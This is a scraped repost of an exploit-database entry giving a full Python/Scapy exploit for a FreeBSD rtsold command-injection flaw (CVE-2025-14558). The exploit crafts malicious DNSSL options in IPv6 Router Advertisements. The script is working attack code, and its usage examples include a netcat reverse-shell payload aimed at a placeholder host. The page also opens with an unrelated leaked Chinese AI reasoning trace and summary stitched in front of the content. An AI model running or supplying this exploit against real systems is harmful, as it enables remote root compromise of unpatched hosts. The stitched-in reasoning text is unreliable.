FreeBSD rtsold 15.x Remote Code Execution via DNSSL
好的,我现在需要帮用户总结一篇关于FreeBSD rtsold漏洞的文章,控制在100字以内。首先,我得仔细阅读文章内容,理解其主要信息。 文章标题是“FreeBSD rtsold 15.x Remote Code Execution via DNSSL”,看起来这是一个远程代码执行的漏洞。作者是Lukas Johannes Möller,日期是2025年12月16日。漏洞影响FreeBSD 13.x、14.x和15.x版本,在补丁发布前存在。 描述部分提到rtsold处理IPv6路由器广告中的DNSSL选项时,没有验证域名中的shell元字符。解码后的域名被传递给resolvconf,这是一个使用未引用变量扩展的shell脚本,导致命令注入,特别是通过$()替换。 要求包括二层邻接、目标运行rtsold且ACCEPT_RTADV启用、root权限以及Python 3和Scapy。参考链接提供了安全公告和GitHub仓库。 接下来是Python代码,展示了如何利用这个漏洞。代码包括导入Scapy模块、编码域名和有效载荷、构建DNSSL选项和路由器广告包,最后发送数据包。 总结时,我需要提取关键点:漏洞名称、影响版本、攻击方式(通过DNSSL选项注入命令)、利用条件(网络位置、root权限)以及工具需求(Python和Scapy)。确保不超过100字,并且直接描述内容,不使用“文章总结”等开头。 最后检查字数,确保简洁明了。 </think> FreeBSD rtsold 15.x 存在远程代码执行漏洞(CVE-2025-14558),攻击者可通过构造恶意DNSSL选项注入命令。该漏洞利用条件包括与目标处于同一网络层且拥有root权限。 2026-2-23 22:19:31 Author: cxsecurity.com(查看原文) 阅读量:2 收藏

FreeBSD rtsold 15.x Remote Code Execution via DNSSL

# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL # Date: 2025-12-16 # Exploit Author: Lukas Johannes Möller # Vendor Homepage: https://www.freebsd.org/ # Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches) # Tested on: FreeBSD 14.1-RELEASE # CVE: CVE-2025-14558 # # Description: # rtsold(8) processes IPv6 Router Advertisement DNSSL options without # validating domain names for shell metacharacters. The decoded domains # are passed to resolvconf(8), a shell script that uses unquoted variable # expansion, enabling command injection via $() substitution. # # Requirements: # - Layer 2 adjacency to target # - Target running rtsold with ACCEPT_RTADV enabled # - Root privileges (raw socket for sending RA) # - Python 3 + Scapy # # References: # https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc # https://github.com/JohannesLks/CVE-2025-14558 import argparse import struct import sys import time try: from scapy.all import ( Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo, ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp ) except ImportError: sys.exit("[!] Scapy required: pip install scapy") def encode_domain(name): """Encode domain in DNS wire format (RFC 1035).""" result = b"" for label in name.split("."): if label: data = label.encode() result += bytes([len(data)]) + data return result + b"\x00" def encode_payload(cmd): """Encode payload as DNS label with $() wrapper for command substitution.""" payload = f"$({cmd})".encode() if len(payload) > 63: # Split long payloads across labels (dots inserted on decode) result = b"" while payload: chunk = payload[:63] payload = payload[63:] result += bytes([len(chunk)]) + chunk return result + b"\x00" return bytes([len(payload)]) + payload + b"\x00" def build_dnssl(cmd, lifetime=0xFFFFFFFF): """Build DNSSL option (RFC 6106) with injected command.""" data = encode_domain("x.local") + encode_payload(cmd) # Pad to 8-byte boundary pad = (8 - (len(data) + 8) % 8) % 8 data += b"\x00" * pad # Type=31 (DNSSL), Length in 8-octet units length = (8 + len(data)) // 8 return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data def build_ra(mac, payload): """Build Router Advertisement with malicious DNSSL.""" return ( Ether(src=mac, dst="33:33:00:00:00:01") / IPv6(src="fe80::1", dst="ff02::1", hlim=255) / ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800) / ICMPv6NDOptSrcLLAddr(lladdr=mac) / ICMPv6NDOptPrefixInfo( prefixlen=64, L=1, A=1, validlifetime=2592000, preferredlifetime=604800, prefix="2001:db8::" ) / Raw(load=build_dnssl(payload)) ) def main(): p = argparse.ArgumentParser( description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection", epilog="Examples:\n" " %(prog)s -i eth0\n" " %(prog)s -i eth0 -p 'id>/tmp/pwned'\n" " %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'", formatter_class=argparse.RawDescriptionHelpFormatter ) p.add_argument("-i", "--interface", required=True, help="Network interface") p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute") p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)") args = p.parse_args() try: mac = get_if_hwaddr(args.interface) except Exception as e: sys.exit(f"[!] Interface error: {e}") print(f"[*] Interface: {args.interface} ({mac})") print(f"[*] Payload: {args.payload}") pkt = build_ra(mac, args.payload) for i in range(args.count): sendp(pkt, iface=args.interface, verbose=False) print(f"[+] Sent RA {i+1}/{args.count}") if i < args.count - 1: time.sleep(1) print("[+] Done") if __name__ == "__main__": main()



 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026020026
如有侵权请联系:admin#unsafe.sh